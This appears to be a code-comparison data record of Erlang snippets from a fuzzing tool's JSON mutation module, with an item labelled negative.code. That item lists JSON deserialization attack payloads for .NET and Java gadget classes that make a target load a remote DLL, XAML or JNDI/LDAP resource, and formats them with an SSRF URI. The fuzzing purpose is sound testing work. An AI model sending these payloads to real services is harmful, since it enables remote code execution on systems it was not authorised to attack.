anchor.diff:  fold_ast(H, Acc) when is_list(H), length(H) > 1 ->
       M = fold_list(fun (A) -> fold_ast(A, []) end, H, []),
       fold_ast([], ["[", M, "]" | Acc]).
  +%% if binary, nothing to do here
  +fold_ast(Binary) when is_binary(Binary) ->
  +    Binary;
  +%% default
   fold_ast(Ast) ->
       list_to_binary(fold_ast(Ast, [])).
   
  
positive.code:     {Meta, binary_to_list(hd(NewLstBin))}.
  
  json_mutation(Ast, {N, NT}) ->
      json_mutation(Ast, {N, NT}, erlamsa_rnd:rand(7000)).
  
  json_mutation(Ast, {N, _NT}, 0) ->
      {Res, _, _} = json_swap(Ast, N),
  
negative.code: %%% Mutations
  %%%
  
  %% Payloads from Friday the 13th JSON Attacks paper by Alvaro Muñoz & Oleksandr Mirosh HPE Software Security Research
  %% from https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
  %% and generated by https://github.com/pwntester/ysoserial.net tool
  %% Assuming MIT licence (as in https://github.com/pwntester/ysoserial.net/blob/master/LICENSE.txt), 
  %% please create issue if this is incorrect and 
  %% should be removed due to copyright issues
  %% TODO: add more payloads
  %% Beginning of payloads from upper links.
  json_unserialize_bugs() ->
  [
  "{\"__type\":\"System.Windows.Application, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"Resources\":{\"__type\":\"System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35\",\"Source\":\"http~sJsonDotNet/Xamlpayload\"}}",
  "{\"$type\":\"System.Configuration.Install.AssemblyInstaller,System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a\",\"Path\":\"http~sJsonDotNet/RemoteLibrary.dll\"}",
  "{\"$type\":\"System.Windows.Forms.BindingSource, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"DataMember\":\"HelpText\",\"dataSource\":{\"$type\":\"System.Configuration.Install.AssemblyInstalle r, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\",\"Path\":\"http~sJsonDotNet/RemoteLibrary.dll\"}}",
  "{\"@class\":\"org.hibernate.jmx.StatisticsService\",\"sessionFactoryJNDIN ame\":\"ldap~suid=somename,ou=someou,dc=somedc\"}",
  "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap:~suid=somename,ou=someou,dc=somed c\", \"autoCommit\":true}",
  "{\"@class\":\" com.atomikos.icatch.jta.RemoteClientUserTransaction\", \"name_\":\"ldap~suid=somename,ou=someou,dc=somedc\", \"providerUrl_\":\"ldap://~s\"}"
  ].
  %% /End of payloads from upper links.
  
  make_json_unserialize() ->
      Uri = lists:flatten(erlamsa_mutations:get_ssrf_uri()),
      Payload = erlamsa_rnd:rand_elem(json_unserialize_bugs()),
      list_to_binary(lists:flatten(io_lib:format(Payload, [Uri]))).
  
  mutate_innertext_prob(String, _Muta, Prob, Rnd) when Rnd > Prob ->
      {[], String}; %% No mutations
  mutate_innertext_prob(String, Muta, _Prob, _Rnd) ->
  